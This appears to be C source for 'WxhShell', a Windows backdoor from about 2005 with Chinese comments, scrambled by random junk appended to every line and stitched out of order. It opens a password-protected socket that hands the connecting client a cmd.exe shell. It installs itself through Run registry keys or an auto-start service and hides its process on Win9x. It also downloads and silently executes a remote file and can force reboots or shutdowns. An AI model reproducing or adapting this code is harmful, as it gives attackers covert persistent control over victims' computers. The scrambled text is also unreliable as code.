    if(Boot(SHUTDOWN)) wu~hqd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fA^Em)cs2  
    else { "="O >  
    closesocket(wsh); n:#TOU1ix<  
    ExitThread(0); F0dI/+  
    } =mt?C n}  
    break; i~yX tya  
    } ,Og4 ?fS  
  // 获取shell _ PWj(});  
  case 's': { ~+n,1]W_  
    CmdShell(wsh); f3PMVf:<  
    closesocket(wsh); z&+ zl6  
    ExitThread(0); d;G~hVu  
    break; m( 47s  
  } @Hjea1@t  
  // 退出 8X7{vN_3K  
  case 'x': { #hxyOq,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hWEnn=BW  
    CloseIt(wsh); H{`{)mS  
    break; $k 2)8#\  
    } [*Ju3  
  // 离开 1B:aC|B  
  case 'q': { O!R"v'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); w2"]Pl  
    closesocket(wsh); --k:a$Nt  
    WSACleanup(); 2(#Ks's?  
    exit(1); Dy9\O77>  
    break; <8o(CA\  
        } $\\lx_)  
  } j, u#K)7{T  
  } )pgrl  
45+{nN[  
  // 提示信息 @h?crJ6$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &a)vdlZSE=  
} kU*{4G|6  
  } grcbH  
>SI<rR[~%  
  return; e>H:/24  
} Q GPw2Q  
fEnQE EU~P  
// shell模块句柄 !,&yyx.  
int CmdShell(SOCKET sock) JdNF-64ky  
{ Nw<P bklz  
STARTUPINFO si; _a'A~JY  
ZeroMemory(&si,sizeof(si)); hU {-a`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yfe'>]7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %%}A|,  
PROCESS_INFORMATION ProcessInfo; ^gR+S  
char cmdline[]="cmd"; ]qktj=p  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); l\Ftr_Dk  
  return 0; Wd 2sh  
} : d' 5O8  
gRgog*z  
// 自身启动模式 Px;Cg 6  
int StartFromService(void) ;u-4KK  
{ v.g"{us  
typedef struct k*$3i  
{ Z[L5 ;  
  DWORD ExitStatus; H%i>L?J2/  
  DWORD PebBaseAddress; yI8tH!  
  DWORD AffinityMask; +!O- kd  
  DWORD BasePriority; YD_]!HK}  
  ULONG UniqueProcessId; 1:NS}r+>3.  
  ULONG InheritedFromUniqueProcessId; - r#K#v3  
}   PROCESS_BASIC_INFORMATION; :L$4*8@`+  
ujzW|HW^v  
PROCNTQSIP NtQueryInformationProcess;  Y7Gs7  
NGTe4Crx  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W|R-J  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,=By$.rr'  
T@ 48qg  
  HANDLE             hProcess; q)I|2~Q c^  
  PROCESS_BASIC_INFORMATION pbi; hnxc`VX>g  
AR B7>"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !]b@RUU  
  if(NULL == hInst ) return 0; L* |1/  
$@uU@fLB  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;e{5)@h$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @.$MzPQQI  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y;Y 1+jt  
TSto9 $}*  
  if (!NtQueryInformationProcess) return 0; .[j%sGdKl  
v'9m7$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); AK/:I>M  
  if(!hProcess) return 0; |nxdB&1n  
5 2Hqu>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v\A.Tyy  
R@`rT*lJ  
  CloseHandle(hProcess); =_-C%<4  
:pZ}*?\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `gguip-C  
if(hProcess==NULL) return 0; C{m&}g`  
Cvn$]bt/s  
HMODULE hMod; IN!02`H  
char procName[255]; OyVm(%Z   
unsigned long cbNeeded; b X,Siz:F  
l)|lTOjb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8z T0_vw  
&3DK^|Lq  
  CloseHandle(hProcess); ]Yz'8uts  
!#WqA9<  
if(strstr(procName,"services")) return 1; // 以服务启动 +zO]N&  
.Ff_s  
  return 0; // 注册表启动 ZBM!MSf:  
} ->oz#  
m,6h ee  
// 主模块 fl uGf  
int StartWxhshell(LPSTR lpCmdLine) tOg=zXm   
{ v\0^mp  
  SOCKET wsl; gGfq6{9g  
BOOL val=TRUE; (F&YdWe:  
  int port=0; =,:K)  
  struct sockaddr_in door; ,2zKQ2z  
BKb<2  
  if(wscfg.ws_autoins) Install(); #PAU'u 3{/  
(!</%^ZI  
port=atoi(lpCmdLine); \E hr@g  
{;n0/   
if(port<=0) port=wscfg.ws_port; DY3:#X`4  
n|KKby.$  
  WSADATA data; qgexb\x\4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?qT(3C9p  
- 9&g[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]|LgVXEpx  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7),*3c')  
  door.sin_family = AF_INET; GX38~pq  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 08r[K(bfb,  
  door.sin_port = htons(port); K51fC4'{  
RVF F6N^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &?T${*~  
closesocket(wsl); /hci\-8N~  
return 1; ?5~!i9pY  
} s]x2DH+_  
9d\N[[Vu]R  
  if(listen(wsl,2) == INVALID_SOCKET) { L82NP)St  
closesocket(wsl); x# 8IZ  
return 1; [.3sE  
} 8+(c1  
  Wxhshell(wsl); !-(J-45  
  WSACleanup(); k3yxx]Rk/  
4ftj>O  
return 0; .^H1\p];Lw  
pqfT\Kb>  
} \+]O*Bm&`8  
b|wWHNEdb,  
// 以NT服务方式启动 o* _g$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~@fanR =  
{ OqEHM%j  
DWORD   status = 0; RKk"  
  DWORD   specificError = 0xfffffff; 0O; Z  
 N|N/)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .v l="<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; p JX, n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v=MzI#0L  
  serviceStatus.dwWin32ExitCode     = 0; \e0x ,2  
  serviceStatus.dwServiceSpecificExitCode = 0; _IKQ36=  
  serviceStatus.dwCheckPoint       = 0; ca}S{"  
  serviceStatus.dwWaitHint       = 0; C->[$HcRa  
uXNp!t Y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4K #^dJnC  
  if (hServiceStatusHandle==0) return; .~,^u  
yu_gNro L  
status = GetLastError(); +/_!P;I  
  if (status!=NO_ERROR) 9OZ>y0)K~  
{ )$F6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1gAc,s2  
    serviceStatus.dwCheckPoint       = 0; Is kSX  
    serviceStatus.dwWaitHint       = 0; b,vL8*  
    serviceStatus.dwWin32ExitCode     = status; $68 XZCx  
    serviceStatus.dwServiceSpecificExitCode = specificError; vGyppm[0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); i ~P91  
    return; cJV!> 0ua  
  } ULrbQ}"cva  
qAvvXs=5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; u2om5e:  
  serviceStatus.dwCheckPoint       = 0; ]E..43  
  serviceStatus.dwWaitHint       = 0; l~{T#Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qL~Pjr>cF  
} g4T3?"xMB_  
FJlsWh4,6=  
// 处理NT服务事件,比如:启动、停止 Xr)g  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !g/_ w  
{ +}Auk|>Dc  
switch(fdwControl) '%$-]~   
{ 1W7 iip,  
case SERVICE_CONTROL_STOP: 6(sfpK'  
  serviceStatus.dwWin32ExitCode = 0; ?e2Y`0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7t+]z)  
  serviceStatus.dwCheckPoint   = 0; lDH_ Y]bM  
  serviceStatus.dwWaitHint     = 0; /gF]s_  
  { BDnBBbBrz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $1=v.'Y  
  } 5?)}F/x  
  return; -KA4Inn]5  
case SERVICE_CONTROL_PAUSE: p+5#dbyr  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +E `063  
  break; <WgG=Kf)N  
case SERVICE_CONTROL_CONTINUE: Z%A<#%    
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @Zh8 QI+  
  break; Y~x`6  
case SERVICE_CONTROL_INTERROGATE: Wd1 IX^7C%  
  break; k0=|10bi  
}; N6f%>3%1|.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R+x%r&L5F  
} '> 4+WZ1w5  
739l%u }<  
// 标准应用程序主函数 8Q)y%7 {6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?n73J wH  
{ Hv+:fr"  
[lrmuf  
// 获取操作系统版本 %PSz o8.l  
OsIsNt=GetOsVer(); L5TNsLx(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }$w4SpR  
( / G)"]  
  // 从命令行安装 fCs\Q  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ds;Rb6WcnY  
uk`d,xF   
  // 下载执行文件 /XbY<pj  
if(wscfg.ws_downexe) { EgCp:L{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )lE3GDAPgZ  
  WinExec(wscfg.ws_filenam,SW_HIDE); j(UX 6lR  
} Zu)i+GeG  
6Lav.x\W  
if(!OsIsNt) { )3+xsnv  
// 如果时win9x,隐藏进程并且设置为注册表启动 moZ)|y  
HideProc(); aJ% e'F[  
StartWxhshell(lpCmdLine); v] W1F,u  
} ~x9 W{B]  
else k-;.0!D^  
  if(StartFromService()) o&*1U"6D  
  // 以服务方式启动   zd.1  
  StartServiceCtrlDispatcher(DispatchTable); mJ7 `.  
else k?z [hZg0  
  // 普通方式启动 alWx=+d  
  StartWxhshell(lpCmdLine); !Q<8c =f  
n">?LN-DC  
return 0; bEEJVF0  
} g%Th_=qy  
qT&S  
_ +0uju?o}  
eimA *0Cq  
=========================================== pqRO[XEp2  
"`y W]v  
 m,xy4  
*S,v$ VX  
,S7~=S  
x)%% 5  
" ghE?8&@ iq  
?tW%"S^D  
#include <stdio.h> F&>T-u-dog  
#include <string.h> 6~>^pkV  
#include <windows.h> mkKRC;  
#include <winsock2.h> ZA 99vO  
#include <winsvc.h> oX%PsS  
#include <urlmon.h> )< X=z  
PxdJOtI"  
#pragma comment (lib, "Ws2_32.lib") ?w c3 +?\J  
#pragma comment (lib, "urlmon.lib") rPrEEWS0)  
iT)2 ?I6!  
#define MAX_USER   100 // 最大客户端连接数 WW,r9D:/  
#define BUF_SOCK   200 // sock buffer \" 5F;J  
#define KEY_BUFF   255 // 输入 buffer !nZI? z;  
z+5u/t  
#define REBOOT     0   // 重启 bw<~R2[  
#define SHUTDOWN   1   // 关机 GN}9$:  
vV\/pu8  
#define DEF_PORT   5000 // 监听端口 UU;Y sj  
Y2ah zB  
#define REG_LEN     16   // 注册表键长度 s /k  
#define SVC_LEN     80   // NT服务名长度 ?eY chVq  
#! K~_DL  
// 从dll定义API jn5=N[hd  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); uL qpbn  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2J>A;x_?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >=]NO'?O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^mQ;CMV  
Wb*T   
// wxhshell配置信息 r!-L`GUm  
struct WSCFG { Ugee?;]lu  
  int ws_port;         // 监听端口 7.F& {:@_  
  char ws_passstr[REG_LEN]; // 口令 W! 5Blo  
  int ws_autoins;       // 安装标记, 1=yes 0=no )%nt61P\W  
  char ws_regname[REG_LEN]; // 注册表键名 &B{Jxc`VA  
  char ws_svcname[REG_LEN]; // 服务名 FW6E)df  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 f%(e,KgW=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /3"e3{u y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z}Mb4{d1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no '/ ]fZ|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4)c"@Zf  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0t/z "  
e!L sc3@  
}; )PLc+J.I  
,<Do ^HB/  
// default Wxhshell configuration 2t Z\{=  
struct WSCFG wscfg={DEF_PORT, 7J)Hwl  
    "xuhuanlingzhe", %\s#e  
    1, tjc5>T[Es8  
    "Wxhshell", J OL Z2  
    "Wxhshell", d}^ :E  
            "WxhShell Service", e[|p0 ,Q  
    "Wrsky Windows CmdShell Service", 7lBQd(  
    "Please Input Your Password: ", F#3$p$;B$  
  1, r4z}yt+  
  "http://www.wrsky.com/wxhshell.exe", gE]a*TOZk  
  "Wxhshell.exe" XV0<pV>  
    }; &*?!*+!,i  
E<fwl1<88  
// 消息定义模块 n"Z,-./m  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?\/dfK:!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [{d[f|   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; - KoA[UJ  
char *msg_ws_ext="\n\rExit."; o<eWg  
char *msg_ws_end="\n\rQuit."; x]jdx#'  
char *msg_ws_boot="\n\rReboot..."; *T}dv)8  
char *msg_ws_poff="\n\rShutdown..."; 6nhfI\q3wY  
char *msg_ws_down="\n\rSave to "; V~%WKQ  
/*xmv $  
char *msg_ws_err="\n\rErr!"; bvxxE/?Ni  
char *msg_ws_ok="\n\rOK!"; _sD]Viqc  
3M>FU4Ug2  
char ExeFile[MAX_PATH]; Y-q,Ovf!  
int nUser = 0; !WVabdt  
HANDLE handles[MAX_USER]; J*W;{Vty  
int OsIsNt; Y9c9/_CSj  
IWbp^l+!t  
SERVICE_STATUS       serviceStatus; k)4lX|}Vm  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ";!1(xZr  
hG0lR.:  
// 函数声明 e"&9G}.f  
int Install(void); ]|\>O5eeu  
int Uninstall(void); ct4)faM  
int DownloadFile(char *sURL, SOCKET wsh); /`]|_>'  
int Boot(int flag); &@.=)4Y  
void HideProc(void); 8Jly! =Qm5  
int GetOsVer(void); +cplM5X  
int Wxhshell(SOCKET wsl); 9zGKQ|X)  
void TalkWithClient(void *cs); myo~Qqt?  
int CmdShell(SOCKET sock); 4mg 7f^[+  
int StartFromService(void); 36Fa9P FCc  
int StartWxhshell(LPSTR lpCmdLine); '-1jWw:8  
<45dy5!Tz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2K7:gd8Ru  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ok.DSOT  
9.w3VF_C  
// 数据结构和表定义 i|! 9o:  
SERVICE_TABLE_ENTRY DispatchTable[] = OuJ y$e  
{  "%@=?X8  
{wscfg.ws_svcname, NTServiceMain}, GlkAJe]  
{NULL, NULL} RBp(dKxM$w  
}; -<HvhW  
QH? 2v  
// 自我安装 eRWF7`HH+  
int Install(void) Ss#{K;  
{ JqV<A3i  
  char svExeFile[MAX_PATH]; J*4_|j;Z-E  
  HKEY key; \crb&EgID  
  strcpy(svExeFile,ExeFile); 0:(dl@I)@  
a(t<eN>b!  
// 如果是win9x系统,修改注册表设为自启动 sOtNd({  
if(!OsIsNt) { BtBt>r(*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]KV8u1H>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); di P4]/%1  
  RegCloseKey(key); Fl|&eO,e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HW%bx"r+4f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EO!cv,[a  
  RegCloseKey(key); 9g,L1 W*  
  return 0; -,CndRKx  
    } KV&_^xSoh|  
  } v lnUN  
} PI<s5bns {  
else { ,i((;/O6  
j*lWi0Z-  
// 如果是NT以上系统,安装为系统服务 w"Y55EURB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zyQEz#O   
if (schSCManager!=0) .6-o?=5  
{ K#pt8Q  
  SC_HANDLE schService = CreateService %!/liS  
  ( #i#.tc  
  schSCManager, G&@RLht  
  wscfg.ws_svcname, vh{1u  
  wscfg.ws_svcdisp, QMfy^t+I  
  SERVICE_ALL_ACCESS, *gMP_I  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , j`-y"6)  
  SERVICE_AUTO_START, MicVNs  
  SERVICE_ERROR_NORMAL, KKTfxNxJn  
  svExeFile, WiCM,wDi  
  NULL, .`8,$"`4)  
  NULL, ?g1 .-'  
  NULL, DB= cc  
  NULL, #3ro?w  
  NULL _EBDv0s  
  ); lkJ#$Ik&  
  if (schService!=0) Vy"^]5  
  { G Z[5m[  
  CloseServiceHandle(schService); x/q$RcDOm  
  CloseServiceHandle(schSCManager); J_br%AG<p  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); H;8]GE2n  
  strcat(svExeFile,wscfg.ws_svcname); ^RDXX+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { OL+40J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >qGR^yvb  
  RegCloseKey(key); cO?"  
  return 0; R$,iDv.jI  
    } g. VIe  
  } #)eJz1~  
  CloseServiceHandle(schSCManager); tg`!svL!  
} 2Mi;}J1C{  
} z:,!yU c  
*bC^X'  
return 1; }^bL'  
} dM$G)9N)K  
/XK`v=~(l{  
// 自我卸载 w!k4&Rb3  
int Uninstall(void) ~(E8~)f)  
{ f9bz:_;W_  
  HKEY key; S#z8H+'  
a^1c _  
if(!OsIsNt) { I*ni)Px  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Kt7x'5  
  RegDeleteValue(key,wscfg.ws_regname); 1:Gd{z  
  RegCloseKey(key); 5"]2@@b4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +>%+r  
  RegDeleteValue(key,wscfg.ws_regname); `lOoT  
  RegCloseKey(key); Xr;noV-X  
  return 0; W3j|%  
  } r6_a%A*  
} =_:L wmI  
} ;|%JvptwW%  
else { (:muxby%  
tB?S0;yXjd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); FDC{8e  
if (schSCManager!=0) 0'oT {iN  
{ K:Go%3~,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D6:J*F&?  
  if (schService!=0) 2^lT!X@  
  { ?pY!sG  
  if(DeleteService(schService)!=0) { &;3z 1s/  
  CloseServiceHandle(schService); U2?gODh'  
  CloseServiceHandle(schSCManager); VO6y9X"  
  return 0; -$ft `Ih  
  } [\F,\  
  CloseServiceHandle(schService); Ox'.sq4  
  } ^$ bhmJYT  
  CloseServiceHandle(schSCManager); 9\0 K%LL  
} ;z=C]kI6M  
} p~co!d.q/}  
d9( Sj?  
return 1; 4>#^Pk?Ra  
} J8Db AB4X  
8dB~09Z7  
// 从指定url下载文件 F}[;ytmUS  
int DownloadFile(char *sURL, SOCKET wsh) (}8 ;3pp  
{ K)@Buu&,p  
  HRESULT hr; 'Mqa2o'M  
char seps[]= "/"; : seL=  
char *token; B+ sqEj-  
char *file; B K;w!]  
char myURL[MAX_PATH]; dG$0d_Pq  
char myFILE[MAX_PATH]; .NC}TFN|  
@S92D6  
strcpy(myURL,sURL); Wc G&W>  
  token=strtok(myURL,seps); +yI^<BH  
  while(token!=NULL) 8PS:yBkA|  
  { O+J;Hp;\_  
    file=token; ![tI(TPq  
  token=strtok(NULL,seps); v[ '5X  
  } JwczE9~o  
dVfDS-v!  
GetCurrentDirectory(MAX_PATH,myFILE); DyZ90]N  
strcat(myFILE, "\\"); h)`vc#"65k  
strcat(myFILE, file); `:4cb $  
  send(wsh,myFILE,strlen(myFILE),0); ijYLf.R<  
send(wsh,"...",3,0); va;wQ~&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \ChcJth@o<  
  if(hr==S_OK) Y'h'8 \  
return 0; 0/]vmDr  
else ?O ?~|nI  
return 1; bm.H0rHR4  
FCPRg^=<!~  
} 'b,D;'v  
c y$$}  
// 系统电源模块 x"80c(i  
int Boot(int flag) |i8dI)b  
{ Fgk/Ph3r  
  HANDLE hToken; %"2B1^o>  
  TOKEN_PRIVILEGES tkp; lhTbgM  
_F E F+I  
  if(OsIsNt) { BI]t}7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); WG{/I/bJ_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); mio'm  
    tkp.PrivilegeCount = 1; cf'Z#NfQ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2[hl^f^%,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OpE+e4~IF  
if(flag==REBOOT) { T5;D0tM/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m`"s$\fah  
  return 0; KA#-X2U/  
} iH=@``Z  
else { -;*Z!|e9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Mw. +0R!T  
  return 0; ;8Cqy80K  
} w>s  
  } IWgC6)n@n  
  else { ZP<X#]$qb  
if(flag==REBOOT) { CcTJCuOS  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4+gA/<  
  return 0; Wg1WY}zG  
} 5 S& >9l  
else { iz(+(M  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) '3VrHL@@g  
  return 0; 3R><AFMY?  
} (" %yV_R  
} ~/%){t/uLY  
mUbaR  
return 1; )%7A. UO)  
} enj2xye%Y  
%9.KH  
// win9x进程隐藏模块 ez>@'yhK  
void HideProc(void) RT>3\qhZ  
{ t;'.D @  
_HQa3wj  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); KWo)}m*6  
  if ( hKernel != NULL ) M{QNpoM  
  { HPQ,tlp6j  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @\R)k(F  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^-_!:7TH]  
    FreeLibrary(hKernel); elN3B91\6r  
  } zU%aobZ  
`ijX9c  
return; \ck3y]a[  
} {Hv=iVmt  
!l|Qyk[  
// 获取操作系统版本 /[L:ol6;!  
int GetOsVer(void) PhS"tOGtX  
{ dEiX! k$#  
  OSVERSIONINFO winfo; {65X37W  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "=;&{N~8U  
  GetVersionEx(&winfo); A UK7a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Mi/_hzZ\  
  return 1; )C@,mgh  
  else wkGF&U  
  return 0; ?8 F7BS4oQ  
} =DgD&_  
;ORy&H aKl  
// 客户端句柄模块 ;V GrZZ  
int Wxhshell(SOCKET wsl) pK`rm"6G  
{ itU01  
  SOCKET wsh; l O^h)hrR  
  struct sockaddr_in client; QWkw$mcf  
  DWORD myID; k <qQ+\X  
MqqS3   
  while(nUser<MAX_USER) (2(hl-- 'n  
{ h:;~)={"X  
  int nSize=sizeof(client); Ub$$wOsf  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u@HP@>V  
  if(wsh==INVALID_SOCKET) return 1; vIJdl2(^E  
-*EJj>x  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `@&qf}`  
if(handles[nUser]==0) N%a[Y  
  closesocket(wsh); lVdExR>H  
else <3bh-)  
  nUser++; ~"N]%Cu  
  } 3,?y !  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {e^llfj$#  
Tla*V#:Ve  
  return 0; vB p5&*  
} ?>_.~b ~  
580t@?  
// 关闭 socket =h)H`  
void CloseIt(SOCKET wsh) +CkK4<dF  
{ q )[g VL  
closesocket(wsh); 9&tV#=s  
nUser--;  4Zq5  
ExitThread(0); Xw%z#6l  
} :PLsA3[}  
oOlI*/OMb  
// 客户端请求句柄 o kYsjK5  
void TalkWithClient(void *cs) r0sd_@Oj  
{ M3V[p9>  
mNJB0B};m  
  SOCKET wsh=(SOCKET)cs; x R.Ql>  
  char pwd[SVC_LEN]; mKg~8q 3  
  char cmd[KEY_BUFF]; ~-6;h.x=  
char chr[1]; E(oNS\ 4  
int i,j; `uU@(  
}&j&T9oX  
  while (nUser < MAX_USER) { zehF/HBzE  
/vhh2`  
if(wscfg.ws_passstr) { ax<0grK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2'_sGAH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Rq*m x<HDX  
  //ZeroMemory(pwd,KEY_BUFF); =p"0G%+%  
      i=0; ^c5(MR7LD  
  while(i<SVC_LEN) { U:>O6"  
Eq?o /'e  
  // 设置超时 fTeo,N  
  fd_set FdRead; gUMUh] j  
  struct timeval TimeOut; 25(\'484>  
  FD_ZERO(&FdRead); m0P5a%D  
  FD_SET(wsh,&FdRead); \rJk[Kec  
  TimeOut.tv_sec=8; ZjcJYtD  
  TimeOut.tv_usec=0; ^2=zp.)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Gd"*mL d  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k5($b{  
*<@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QZ6M,\  
  pwd=chr[0]; 8_lD*bEt   
  if(chr[0]==0xd || chr[0]==0xa) { 4MIVlg9  
  pwd=0; x83XJFPWL  
  break; i8{jMe!Sa  
  } 5&>(|Y~I  
  i++; 82<L07fB  
    } Q6BW ax|  
-K0tK~%q  
  // 如果是非法用户,关闭 socket ?`vb\K<5H;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Qhr:d`@^]  
} 4k#6)e  
}vi%pfrB  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M3Z yf  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6k[u0b`  
S `[8TZ  
while(1) { aX|`G]PhdI  
uC3$iY:_e  
  ZeroMemory(cmd,KEY_BUFF); _Sg29qFK  
Fh "S[e  
      // 自动支持客户端 telnet标准   _EY :vv  
  j=0; H(AYtnvB  
  while(j<KEY_BUFF) { BZj[C=#x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .D)}MyKnu  
  cmd[j]=chr[0]; 1>2397  
  if(chr[0]==0xa || chr[0]==0xd) { `DwlS!0  
  cmd[j]=0; uPqPoI>N!  
  break; w+}dm^X  
  } 'i,<j s3\f  
  j++; :K&hGZ+5  
    } P.wINo  
e\h:==f  
  // 下载文件 O<Kr6+ -  
  if(strstr(cmd,"http://")) { gW, ET  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #RSxo 4  
  if(DownloadFile(cmd,wsh)) |\ ay^@N  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }bHpFe  
  else "mOoGy, (  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]D%[GO//!  
  } 1eJ\CdI  
  else { &M2x`  
RBb@@k[v  
    switch(cmd[0]) { sq^,l6es>  
  A@#dv2JzP  
  // 帮助 ?G{fF H  
  case '?': { M$GD8|*e  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Dn@ n:m  
